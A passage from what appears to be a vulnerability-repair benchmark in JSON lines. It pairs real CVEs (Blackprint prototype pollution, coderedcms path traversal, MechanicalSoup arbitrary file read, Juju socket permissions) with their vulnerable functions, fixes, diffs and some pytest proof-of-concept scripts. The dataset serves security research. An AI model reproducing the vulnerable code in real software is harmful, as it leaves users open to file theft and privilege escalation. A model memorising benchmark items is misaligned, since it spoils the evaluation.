filePath)\n+\t\t\t\tcontinue\n+\t\t\t}\n+\t\t}\n+\n \t\tdstFile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n \t\tif err != nil {\n \t\t\tlog.Fatalln(err)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-24294", "cve_description": "A Prototype Pollution issue in Blackprint @blackprint/engine v.0.9.0 allows an attacker to execute arbitrary code via the _utils.setDeepProperty function of engine.min.js.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/Blackprint/engine-js", "patch_url": ["https://github.com/Blackprint/engine-js/commit/bd6b965b03c467e7a58ab0cb89b9172fa5e07013"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_120_1", "commit": "9e696b7", "file_path": "src/utils.js", "start_line": 4, "end_line": 34, "snippet": "function setDeepProperty(obj, path, value, onCreate){\n\tlet temp;\n\tlet isSF = window.sf?.Obj != null;\n\n\tfor(var i = 0, n = path.length-1; i < n; i++){\n\t\ttemp = path[i];\n\n\t\t// Disallow diving into internal JavaScript property\n\t\tif(temp === \"constructor\" || temp === \"__proto__\" || temp === \"prototype\")\n\t\t\treturn;\n\n\t\tif(obj[temp] === void 0){\n\t\t\tif(isSF) sf.Obj.set(obj, temp, {});\n\t\t\telse obj[temp] = {};\n\n\t\t\t// onCreate && onCreate(obj[temp], obj, temp);\n\t\t\tonCreate && onCreate(obj[temp]);\n\t\t}\n\n\t\tobj = obj[temp];\n\t}\n\n\ttemp = path[i];\n\tif(temp === \"constructor\" || temp === \"__proto__\" || temp === \"prototype\")\n\t\treturn;\n\n\tif(isSF) sf.Obj.set(obj, temp, value);\n\telse obj[temp] = value;\n\n\treturn;\n}"}], "fix_func": [{"id": "fix_js_120_1", "commit": "bd6b965", "file_path": "src/utils.js", "start_line": 4, "end_line": 40, "snippet": "function setDeepProperty(obj, path, value, onCreate){\n\tlet temp;\n\tlet isSF = window.sf?.Obj != null;\n\n\tfor(var i = 0, n = path.length-1; i < n; i++){\n\t\ttemp = path[i];\n\n\t\tif(temp.constructor !== String && temp.constructor !== Number)\n\t\t\tthrow new Error(\"Object field must be Number or String, but found: \" + JSON.stringify(temp));\n\n\t\t// Disallow diving into internal JavaScript property\n\t\tif(temp === \"constructor\" || temp === \"__proto__\" || temp === \"prototype\")\n\t\t\treturn;\n\n\t\tif(obj[temp] === void 0){\n\t\t\tif(isSF) sf.Obj.set(obj, temp, {});\n\t\t\telse obj[temp] = {};\n\n\t\t\t// onCreate && onCreate(obj[temp], obj, temp);\n\t\t\tonCreate && onCreate(obj[temp]);\n\t\t}\n\n\t\tobj = obj[temp];\n\t}\n\n\ttemp = path[i];\n\tif(temp.constructor !== String && temp.constructor !== Number)\n\t\tthrow new Error(\"Object field must be Number or String, but found: \" + JSON.stringify(temp));\n\n\tif(temp === \"constructor\" || temp === \"__proto__\" || temp === \"prototype\")\n\t\treturn;\n\n\tif(isSF) sf.Obj.set(obj, temp, value);\n\telse obj[temp] = value;\n\n\treturn;\n}"}], "vul_patch": "--- a/src/utils.js\n+++ b/src/utils.js\n@@ -4,6 +4,9 @@\n \n \tfor(var i = 0, n = path.length-1; i < n; i++){\n \t\ttemp = path[i];\n+\n+\t\tif(temp.constructor !== String && temp.constructor !== Number)\n+\t\t\tthrow new Error(\"Object field must be Number or String, but found: \" + JSON.stringify(temp));\n \n \t\t// Disallow diving into internal JavaScript property\n \t\tif(temp === \"constructor\" || temp === \"__proto__\" || temp === \"prototype\")\n@@ -21,6 +24,9 @@\n \t}\n \n \ttemp = path[i];\n+\tif(temp.constructor !== String && temp.constructor !== Number)\n+\t\tthrow new Error(\"Object field must be Number or String, but found: \" + JSON.stringify(temp));\n+\n \tif(temp === \"constructor\" || temp === \"__proto__\" || temp === \"prototype\")\n \t\treturn;\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-46897", "cve_description": "views.py in Wagtail CRX CodeRed Extensions (formerly CodeRed CMS or coderedcms) before 0.22.3 allows upward protected/..%2f..%2f path traversal when serving protected media.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/coderedcorp/coderedcms", "patch_url": ["https://github.com/coderedcorp/coderedcms/commit/06006cec23a723bc7d76df75ce2c2d795a447902"], "programing_language": "Python", "vul_func": [{"id": "vul_py_203_1", "commit": "acc37d2", "file_path": "coderedcms/views.py", "start_line": 110, "end_line": 123, "snippet": "def serve_protected_file(request, path):\n    \"\"\"\n    Function that serves protected files uploaded from forms.\n    \"\"\"\n    fullpath = os.path.join(cr_settings['PROTECTED_MEDIA_ROOT'], path)\n    if os.path.isfile(fullpath):\n        mimetype, encoding = mimetypes.guess_type(fullpath)\n        with open(fullpath, 'rb') as f:\n            response = HttpResponse(f.read(), content_type=mimetype)\n        if encoding:\n            response[\"Content-Encoding\"] = encoding\n\n        return response\n    raise Http404()"}], "fix_func": [{"id": "fix_py_203_1", "commit": "06006ce", "file_path": "coderedcms/views.py", "start_line": 110, "end_line": 127, "snippet": "def serve_protected_file(request, path):\n    \"\"\"\n    Function that serves protected files uploaded from forms.\n    \"\"\"\n    # Fully resolve all provided paths.\n    mediapath = os.path.abspath(cr_settings['PROTECTED_MEDIA_ROOT'])\n    fullpath = os.path.abspath(os.path.join(mediapath, path))\n\n    # Path must be a sub-path of the PROTECTED_MEDIA_ROOT, and exist.\n    if fullpath.startswith(mediapath) and os.path.isfile(fullpath):\n        mimetype, encoding = mimetypes.guess_type(fullpath)\n        with open(fullpath, 'rb') as f:\n            response = HttpResponse(f.read(), content_type=mimetype)\n        if encoding:\n            response[\"Content-Encoding\"] = encoding\n\n        return response\n    raise Http404()"}], "vul_patch": "--- a/coderedcms/views.py\n+++ b/coderedcms/views.py\n@@ -2,8 +2,12 @@\n     \"\"\"\n     Function that serves protected files uploaded from forms.\n     \"\"\"\n-    fullpath = os.path.join(cr_settings['PROTECTED_MEDIA_ROOT'], path)\n-    if os.path.isfile(fullpath):\n+    # Fully resolve all provided paths.\n+    mediapath = os.path.abspath(cr_settings['PROTECTED_MEDIA_ROOT'])\n+    fullpath = os.path.abspath(os.path.join(mediapath, path))\n+\n+    # Path must be a sub-path of the PROTECTED_MEDIA_ROOT, and exist.\n+    if fullpath.startswith(mediapath) and os.path.isfile(fullpath):\n         mimetype, encoding = mimetypes.guess_type(fullpath)\n         with open(fullpath, 'rb') as f:\n             response = HttpResponse(f.read(), content_type=mimetype)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-34457", "cve_description": "MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `<input type=\"file\" ...>` inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/MechanicalSoup/MechanicalSoup", "patch_url": ["https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_66_1", "commit": "b9c8a0c", "file_path": "mechanicalsoup/browser.py", "start_line": 187, "end_line": 293, "snippet": "    @classmethod\n    def get_request_kwargs(cls, form, url=None, **kwargs):\n        \"\"\"Extract input data from the form.\"\"\"\n        method = str(form.get(\"method\", \"get\"))\n        action = form.get(\"action\")\n        url = urllib.parse.urljoin(url, action)\n        if url is None:  # This happens when both `action` and `url` are None.\n            raise ValueError('no URL to submit to')\n\n        # read https://www.w3.org/TR/html52/sec-forms.html\n        if method.lower() == \"get\":\n            data = kwargs.pop(\"params\", dict())\n        else:\n            data = kwargs.pop(\"data\", dict())\n        files = kwargs.pop(\"files\", dict())\n\n        # Use a list of 2-tuples to better reflect the behavior of browser QSL.\n        # Requests also retains order when encoding form data in 2-tuple lists.\n        data = [(k, v) for k, v in data.items()]\n\n        multipart = form.get(\"enctype\", \"\") == \"multipart/form-data\"\n\n        # Process form tags in the order that they appear on the page,\n        # skipping those tags that do not have a name-attribute.\n        selector = \",\".join(f\"{tag}[name]\" for tag in\n                            (\"input\", \"button\", \"textarea\", \"select\"))\n        for tag in form.select(selector):\n            name = tag.get(\"name\")  # name-attribute of tag\n\n            # Skip disabled elements, since they should not be submitted.\n            if tag.has_attr('disabled'):\n                continue\n\n            if tag.name == \"input\":\n                if tag.get(\"type\", \"\").lower() in (\"radio\", \"checkbox\"):\n                    if \"checked\" not in tag.attrs:\n                        continue\n                    value = tag.get(\"value\", \"on\")\n                else:\n                    # browsers use empty string for inputs with missing values\n                    value = tag.get(\"value\", \"\")\n\n                # If the enctype is not multipart, the filename is put in\n                # the form as a text input and the file is not sent.\n                if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n                    filepath = value\n                    if filepath != \"\" and isinstance(filepath, str):\n                        content = open(filepath, \"rb\")\n                    else:\n                        content = \"\"\n                    filename = os.path.basename(filepath)\n                    # If value is the empty string, we still pass it\n                    # for consistency with browsers (see\n                    # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n                    files[name] = (filename, content)\n                else:\n                    data.append((name, value))\n\n            elif tag.name == \"button\":\n                if tag.get(\"type\", \"\").lower() in (\"button\", \"reset\"):\n                    continue\n                else:\n                    data.append((name, tag.get(\"value\", \"\")))\n\n            elif tag.name == \"textarea\":\n                data.append((name, tag.text))\n\n            elif tag.name == \"select\":\n                # If the value attribute is not specified, the content will\n                # be passed as a value instead.\n                options = tag.select(\"option\")\n                selected_values = [i.get(\"value\", i.text) for i in options\n                                   if \"selected\" in i.attrs]\n                if \"multiple\" in tag.attrs:\n                    for value in selected_values:\n                        data.append((name, value))\n                elif selected_values:\n                    # A standard select element only allows one option to be\n                    # selected, but browsers pick last if somehow multiple.\n                    data.append((name, selected_values[-1]))\n                elif options:\n                    # Selects the first option if none are selected\n                    first_value = options[0].get(\"value\", options[0].text)\n                    data.append((name, first_value))\n\n        if method.lower() == \"get\":\n            kwargs[\"params\"] = data\n        else:\n            kwargs[\"data\"] = data\n\n        # The following part of the function is here to respect the\n        # enctype specified by the form, i.e. force sending multipart\n        # content. Since Requests doesn't have yet a feature to choose\n        # enctype, we have to use tricks to make it behave as we want\n        # This code will be updated if Requests implements it.\n        if multipart and not files:\n            # Requests will switch to \"multipart/form-data\" only if\n            # files pass the `if files:` test, so in this case we use\n            # a modified dict that passes the if test even if empty.\n            class DictThatReturnsTrue(dict):\n                def __bool__(self):\n                    return True\n                __nonzero__ = __bool__\n\n            files = DictThatReturnsTrue()\n\n        return cls._get_request_kwargs(method, url, files=files, **kwargs)"}, {"id": "vul_py_66_2", "commit": "b9c8a0c", "file_path": "mechanicalsoup/form.py", "start_line": 242, "end_line": 281, "snippet": "    def set(self, name, value, force=False):\n        \"\"\"Set a form element identified by ``name`` to a specified ``value``.\n        The type of element (input, textarea, select, ...) does not\n        need to be given; it is inferred by the following methods:\n        :func:`~Form.set_checkbox`,\n        :func:`~Form.set_radio`,\n        :func:`~Form.set_input`,\n        :func:`~Form.set_textarea`,\n        :func:`~Form.set_select`.\n        If none of these methods find a matching element, then if ``force``\n        is True, a new element (``<input type=\"text\" ...>``) will be\n        added using :func:`~Form.new_control`.\n\n        Example: filling-in a login/password form with EULA checkbox\n\n        .. code-block:: python\n\n            form.set(\"login\", username)\n            form.set(\"password\", password)\n            form.set(\"eula-checkbox\", True)\n\n        Example: uploading a file through a ``<input type=\"file\"\n        name=\"tagname\">`` field (provide the path to the local file,\n        and its content will be uploaded):\n\n        .. code-block:: python\n\n            form.set(\"tagname\", path_to_local_file)\n\n        \"\"\"\n        for func in (\"checkbox\", \"radio\", \"input\", \"textarea\", \"select\"):\n            try:\n                getattr(self, \"set_\" + func)({name: value})\n                return\n            except InvalidFormMethod:\n                pass\n        if force:\n            self.new_control('text', name, value=value)\n            return\n        raise LinkNotFoundError(\"No valid element named \" + name)"}, {"id": "vul_py_66_3", "commit": "b9c8a0c", "file_path": "mechanicalsoup/form.py", "start_line": 283, "end_line": 304, "snippet": "    def new_control(self, type, name, value, **kwargs):\n        \"\"\"Add a new input element to the form.\n\n        The arguments set the attributes of the new element.\n        \"\"\"\n        # Remove existing input-like elements with the same name\n        for tag in ('input', 'textarea', 'select'):\n            for old in self.form.find_all(tag, {'name': name}):\n                old.decompose()\n        # We don't have access to the original soup object (just the\n        # Tag), so we instantiate a new BeautifulSoup() to call\n        # new_tag(). We're only building the soup object, not parsing\n        # anything, so the parser doesn't matter. Specify the one\n        # included in Python to avoid having dependency issue.\n        control = BeautifulSoup(\"\", \"html.parser\").new_tag('input')\n        control['type'] = type\n        control['name'] = name\n        control['value'] = value\n        for k, v in kwargs.items():\n            control[k] = v\n        self.form.append(control)\n        return control"}], "fix_func": [{"id": "fix_py_66_1", "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e", "file_path": "mechanicalsoup/browser.py", "start_line": 188, "end_line": 296, "snippet": "    @classmethod\n    def get_request_kwargs(cls, form, url=None, **kwargs):\n        \"\"\"Extract input data from the form.\"\"\"\n        method = str(form.get(\"method\", \"get\"))\n        action = form.get(\"action\")\n        url = urllib.parse.urljoin(url, action)\n        if url is None:  # This happens when both `action` and `url` are None.\n            raise ValueError('no URL to submit to')\n\n        # read https://www.w3.org/TR/html52/sec-forms.html\n        if method.lower() == \"get\":\n            data = kwargs.pop(\"params\", dict())\n        else:\n            data = kwargs.pop(\"data\", dict())\n        files = kwargs.pop(\"files\", dict())\n\n        # Use a list of 2-tuples to better reflect the behavior of browser QSL.\n        # Requests also retains order when encoding form data in 2-tuple lists.\n        data = [(k, v) for k, v in data.items()]\n\n        multipart = form.get(\"enctype\", \"\") == \"multipart/form-data\"\n\n        # Process form tags in the order that they appear on the page,\n        # skipping those tags that do not have a name-attribute.\n        selector = \",\".join(f\"{tag}[name]\" for tag in\n                            (\"input\", \"button\", \"textarea\", \"select\"))\n        for tag in form.select(selector):\n            name = tag.get(\"name\")  # name-attribute of tag\n\n            # Skip disabled elements, since they should not be submitted.\n            if tag.has_attr('disabled'):\n                continue\n\n            if tag.name == \"input\":\n                if tag.get(\"type\", \"\").lower() in (\"radio\", \"checkbox\"):\n                    if \"checked\" not in tag.attrs:\n                        continue\n                    value = tag.get(\"value\", \"on\")\n                else:\n                    # browsers use empty string for inputs with missing values\n                    value = tag.get(\"value\", \"\")\n\n                # If the enctype is not multipart, the filename is put in\n                # the form as a text input and the file is not sent.\n                if is_multipart_file_upload(form, tag):\n                    if isinstance(value, io.IOBase):\n                        content = value\n                        filename = os.path.basename(getattr(value, \"name\", \"\"))\n                    else:\n                        content = \"\"\n                        filename = os.path.basename(value)\n                    # If content is the empty string, we still pass it\n                    # for consistency with browsers (see\n                    # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n                    files[name] = (filename, content)\n                else:\n                    if isinstance(value, io.IOBase):\n                        value = os.path.basename(getattr(value, \"name\", \"\"))\n                    data.append((name, value))\n\n            elif tag.name == \"button\":\n                if tag.get(\"type\", \"\").lower() in (\"button\", \"reset\"):\n                    continue\n                else:\n                    data.append((name, tag.get(\"value\", \"\")))\n\n            elif tag.name == \"textarea\":\n                data.append((name, tag.text))\n\n            elif tag.name == \"select\":\n                # If the value attribute is not specified, the content will\n                # be passed as a value instead.\n                options = tag.select(\"option\")\n                selected_values = [i.get(\"value\", i.text) for i in options\n                                   if \"selected\" in i.attrs]\n                if \"multiple\" in tag.attrs:\n                    for value in selected_values:\n                        data.append((name, value))\n                elif selected_values:\n                    # A standard select element only allows one option to be\n                    # selected, but browsers pick last if somehow multiple.\n                    data.append((name, selected_values[-1]))\n                elif options:\n                    # Selects the first option if none are selected\n                    first_value = options[0].get(\"value\", options[0].text)\n                    data.append((name, first_value))\n\n        if method.lower() == \"get\":\n            kwargs[\"params\"] = data\n        else:\n            kwargs[\"data\"] = data\n\n        # The following part of the function is here to respect the\n        # enctype specified by the form, i.e. force sending multipart\n        # content. Since Requests doesn't have yet a feature to choose\n        # enctype, we have to use tricks to make it behave as we want\n        # This code will be updated if Requests implements it.\n        if multipart and not files:\n            # Requests will switch to \"multipart/form-data\" only if\n            # files pass the `if files:` test, so in this case we use\n            # a modified dict that passes the if test even if empty.\n            class DictThatReturnsTrue(dict):\n                def __bool__(self):\n                    return True\n                __nonzero__ = __bool__\n\n            files = DictThatReturnsTrue()\n\n        return cls._get_request_kwargs(method, url, files=files, **kwargs)"}, {"id": "fix_py_66_2", "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e", "file_path": "mechanicalsoup/form.py", "start_line": 244, "end_line": 283, "snippet": "    def set(self, name, value, force=False):\n        \"\"\"Set a form element identified by ``name`` to a specified ``value``.\n        The type of element (input, textarea, select, ...) does not\n        need to be given; it is inferred by the following methods:\n        :func:`~Form.set_checkbox`,\n        :func:`~Form.set_radio`,\n        :func:`~Form.set_input`,\n        :func:`~Form.set_textarea`,\n        :func:`~Form.set_select`.\n        If none of these methods find a matching element, then if ``force``\n        is True, a new element (``<input type=\"text\" ...>``) will be\n        added using :func:`~Form.new_control`.\n\n        Example: filling-in a login/password form with EULA checkbox\n\n        .. code-block:: python\n\n            form.set(\"login\", username)\n            form.set(\"password\", password)\n            form.set(\"eula-checkbox\", True)\n\n        Example: uploading a file through a ``<input type=\"file\"\n        name=\"tagname\">`` field (provide an open file object,\n        and its content will be uploaded):\n\n        .. code-block:: python\n\n            form.set(\"tagname\", open(path_to_local_file, \"rb\"))\n\n        \"\"\"\n        for func in (\"checkbox\", \"radio\", \"input\", \"textarea\", \"select\"):\n            try:\n                getattr(self, \"set_\" + func)({name: value})\n                return\n            except InvalidFormMethod:\n                pass\n        if force:\n            self.new_control('text', name, value=value)\n            return\n        raise LinkNotFoundError(\"No valid element named \" + name)"}, {"id": "fix_py_66_3", "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e", "file_path": "mechanicalsoup/form.py", "start_line": 285, "end_line": 307, "snippet": "    def new_control(self, type, name, value, **kwargs):\n        \"\"\"Add a new input element to the form.\n\n        The arguments set the attributes of the new element.\n        \"\"\"\n        # Remove existing input-like elements with the same name\n        for tag in ('input', 'textarea', 'select'):\n            for old in self.form.find_all(tag, {'name': name}):\n                old.decompose()\n        # We don't have access to the original soup object (just the\n        # Tag), so we instantiate a new BeautifulSoup() to call\n        # new_tag(). We're only building the soup object, not parsing\n        # anything, so the parser doesn't matter. Specify the one\n        # included in Python to avoid having dependency issue.\n        control = BeautifulSoup(\"\", \"html.parser\").new_tag('input')\n        control['type'] = type\n        control['name'] = name\n        control['value'] = value\n        for k, v in kwargs.items():\n            control[k] = v\n        self._assert_valid_file_upload(control, value)\n        self.form.append(control)\n        return control"}, {"id": "fix_py_66_4", "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e", "file_path": "mechanicalsoup/utils.py", "start_line": 19, "end_line": 23, "snippet": "def is_multipart_file_upload(form, tag):\n    return (\n        form.get(\"enctype\", \"\") == \"multipart/form-data\" and\n        tag.get(\"type\", \"\").lower() == \"file\"\n    )"}, {"id": "fix_py_66_5", "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e", "file_path": "mechanicalsoup/form.py", "start_line": 390, "end_line": 402, "snippet": "    def _assert_valid_file_upload(self, tag, value):\n        \"\"\"Raise an exception if a multipart file input is not an open file.\"\"\"\n        if (\n            is_multipart_file_upload(self.form, tag) and\n            not isinstance(value, io.IOBase)\n        ):\n            raise ValueError(\n                \"From v1.3.0 onwards, you must pass an open file object \"\n                'directly, e.g. `form[\"name\"] = open(\"/path/to/file\", \"rb\")`. '\n                \"This change is to remediate a security vulnerability where \"\n                \"a malicious web server could read arbitrary files from the \"\n                \"client (CVE-2023-34457).\"\n            )"}], "vul_patch": "--- a/mechanicalsoup/browser.py\n+++ b/mechanicalsoup/browser.py\n@@ -42,18 +42,20 @@\n \n                 # If the enctype is not multipart, the filename is put in\n                 # the form as a text input and the file is not sent.\n-                if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n-                    filepath = value\n-                    if filepath != \"\" and isinstance(filepath, str):\n-                        content = open(filepath, \"rb\")\n+                if is_multipart_file_upload(form, tag):\n+                    if isinstance(value, io.IOBase):\n+                        content = value\n+                        filename = os.path.basename(getattr(value, \"name\", \"\"))\n                     else:\n                         content = \"\"\n-                    filename = os.path.basename(filepath)\n-                    # If value is the empty string, we still pass it\n+                        filename = os.path.basename(value)\n+                    # If content is the empty string, we still pass it\n                     # for consistency with browsers (see\n                     # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n                     files[name] = (filename, content)\n                 else:\n+                    if isinstance(value, io.IOBase):\n+                        value = os.path.basename(getattr(value, \"name\", \"\"))\n                     data.append((name, value))\n \n             elif tag.name == \"button\":\n\n--- a/mechanicalsoup/form.py\n+++ b/mechanicalsoup/form.py\n@@ -20,12 +20,12 @@\n             form.set(\"eula-checkbox\", True)\n \n         Example: uploading a file through a ``<input type=\"file\"\n-        name=\"tagname\">`` field (provide the path to the local file,\n+        name=\"tagname\">`` field (provide an open file object,\n         and its content will be uploaded):\n \n         .. code-block:: python\n \n-            form.set(\"tagname\", path_to_local_file)\n+            form.set(\"tagname\", open(path_to_local_file, \"rb\"))\n \n         \"\"\"\n         for func in (\"checkbox\", \"radio\", \"input\", \"textarea\", \"select\"):\n\n--- a/mechanicalsoup/form.py\n+++ b/mechanicalsoup/form.py\n@@ -18,5 +18,6 @@\n         control['value'] = value\n         for k, v in kwargs.items():\n             control[k] = v\n+        self._assert_valid_file_upload(control, value)\n         self.form.append(control)\n         return control\n\n--- /dev/null\n+++ b/mechanicalsoup/form.py\n@@ -0,0 +1,5 @@\n+def is_multipart_file_upload(form, tag):\n+    return (\n+        form.get(\"enctype\", \"\") == \"multipart/form-data\" and\n+        tag.get(\"type\", \"\").lower() == \"file\"\n+    )\n\n--- /dev/null\n+++ b/mechanicalsoup/form.py\n@@ -0,0 +1,13 @@\n+    def _assert_valid_file_upload(self, tag, value):\n+        \"\"\"Raise an exception if a multipart file input is not an open file.\"\"\"\n+        if (\n+            is_multipart_file_upload(self.form, tag) and\n+            not isinstance(value, io.IOBase)\n+        ):\n+            raise ValueError(\n+                \"From v1.3.0 onwards, you must pass an open file object \"\n+                'directly, e.g. `form[\"name\"] = open(\"/path/to/file\", \"rb\")`. '\n+                \"This change is to remediate a security vulnerability where \"\n+                \"a malicious web server could read arbitrary files from the \"\n+                \"client (CVE-2023-34457).\"\n+            )\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-34457:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/MechanicalSoup\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-34457/bin/python -m pytest tests/test_browser.py::test_enctype_and_file_submit tests/test_stateful_browser.py::test_upload_file_with_malicious_default tests/test_stateful_browser.py::test_upload_file tests/test_stateful_browser.py::test_upload_file_raise_on_string_input\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-34457:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/MechanicalSoup\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-34457/bin/python -m pytest tests/test_browser.py tests/test_stateful_browser.py -k \"not test_enctype_and_file_submit and not test_upload_file and not test_select_form_associated_elements and not test_launch_browser\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2017-9232", "cve_description": "Juju before 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3 uses a UNIX domain socket without setting appropriate permissions, allowing privilege escalation by users on the system to root.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/juju/juju", "patch_url": ["https://github.com/juju/juju/commit/145a1d3048843004590baaf0417547bac90662d9", "https://github.com/juju/juju/commit/d4dc689bfb632dd09a58c4e3776c2559714e17e4", "https://github.com/juju/juju/commit/78c832f1d1e0d7d45b35c4d0e3915744a065cfcf"], "programing_language": "Go", "vul_func": [{"id": "vul_go_162_1", "commit": "2601c35", "file_path": "juju/sockets/sockets_nix.go", "start_line": 21, "end_line": 28, "snippet": "func Listen(socketPath string) (net.Listener, error) {\n\t// In case the unix socket is present, delete it.\n\tif err := os.Remove(socketPath); err != nil {\n\t\tlogger.Tracef(\"ignoring error on removing %q: %v\", socketPath, err)\n\t}\n\tlistener, err := net.Listen(\"unix\", socketPath)\n\treturn listener, errors.Trace(err)\n}"}], "fix_func": [{"id": "fix_go_162_1", "commit": "145a1d3", "file_path": "juju/sockets/sockets_nix.go", "start_line": 23, "end_line": 56, "snippet": "func Listen(socketPath string) (net.Listener, error) {\n\t// In case the unix socket is present, delete it.\n\tif err := os.Remove(socketPath); err != nil {\n\t\tlogger.Tracef(\"ignoring error on removing %q: %v\", socketPath, err)\n\t}\n\t// We first create the socket in a temporary directory as a subdirectory of\n\t// the target dir so we know we can get the permissions correct and still\n\t// rename the socket into the correct place.\n\t// ioutil.TempDir creates the temporary directory as 0700 so it starts with\n\t// the right perms as well.\n\tsocketDir, socketName := filepath.Split(socketPath)\n\t// socketName here is just the prefix for the temporary dir name,\n\t// so it won't collide\n\ttempdir, err := ioutil.TempDir(socketDir, socketName)\n\tif err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\tdefer os.RemoveAll(tempdir)\n\ttempSocketPath := filepath.Join(tempdir, socketName)\n\tlistener, err := net.Listen(\"unix\", tempSocketPath)\n\tif err != nil {\n\t\tlogger.Errorf(\"failed to listen on unix:%s: %v\", socketPath, err)\n\t\treturn nil, errors.Trace(err)\n\t}\n\tif err := os.Chmod(tempSocketPath, 0700); err != nil {\n\t\tlistener.Close()\n\t\treturn nil, errors.Trace(err)\n\t}\n\tif err := os.Rename(tempSocketPath, socketPath); err != nil {\n\t\tlistener.Close()\n\t\treturn nil, errors.Trace(err)\n\t}\n\treturn listener, nil\n}"}], "vul_patch": "--- a/juju/sockets/sockets_nix.go\n+++ b/juju/sockets/sockets_nix.go\n@@ -3,6 +3,32 @@\n \tif err := os.Remove(socketPath); err != nil {\n \t\tlogger.Tracef(\"ignoring error on removing %q: %v\", socketPath, err)\n \t}\n-\tlistener, err := net.Listen(\"unix\", socketPath)\n-\treturn listener, errors.Trace(err)\n+\t// We first create the socket in a temporary directory as a subdirectory of\n+\t// the target dir so we know we can get the permissions correct and still\n+\t// rename the socket into the correct place.\n+\t// ioutil.TempDir creates the temporary directory as 0700 so it starts with\n+\t// the right perms as well.\n+\tsocketDir, socketName := filepath.Split(socketPath)\n+\t// socketName here is just the prefix for the temporary dir name,\n+\t// so it won't collide\n+\ttempdir, err := ioutil.TempDir(socketDir, socketName)\n+\tif err != nil {\n+\t\treturn nil, errors.Trace(err)\n+\t}\n+\tdefer os.RemoveAll(tempdir)\n+\ttempSocketPath := filepath.Join(tempdir, socketName)\n+\tlistener, err := net.Listen(\"unix\", tempSocketPath)\n+\tif err != nil {\n+\t\tlogger.Errorf(\"failed to listen on unix:%s: %v\", socketPath, err)\n+\t\treturn nil, errors.Trace(err)\n+\t}\n+\tif err := os.Chmod(tempSocketPath, 0700); err != nil {\n+\t\tlistener.Close()\n+\t\treturn nil, errors.Trace(err)\n+\t}\n+\tif err := os.Rename(tempSocketPath, socketPath); err != nil {\n+\t\tlistener.Close()\n+\t\treturn nil, errors.Trace(err)\n+\t}\n+\treturn listener, nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-31124", "cve_description": "Zitadel is open-source identity infrastructure software. ZITADEL administrators can enable a setting called \"Ignoring unknown usernames\" which helps mitigate attacks that try to guess/enumerate usernames. If enabled, ZITADEL will show the password prompt even if the user doesn't exist and report \"Username or Password invalid\". While the setting was correctly respected during the login flow, the user's username was normalized leading to a disclosure of the user's existence. This vulnerability is fixed in 2.71.6, 2.70.8, 2.69.9, 2.68.9, 2.67.13, 2.66.16, 2.65.7, 2.64.6, and 2.63.9.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/zitadel/zitadel", "patch_url": ["https://github.com/zitadel/zitadel/commit/14de8ecac2afafee4975ed7ac26f3ca4a2b0f82c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_289_1", "commit": "2eb187f1410a25e80ff86255923d534041c8d139", "file_path": 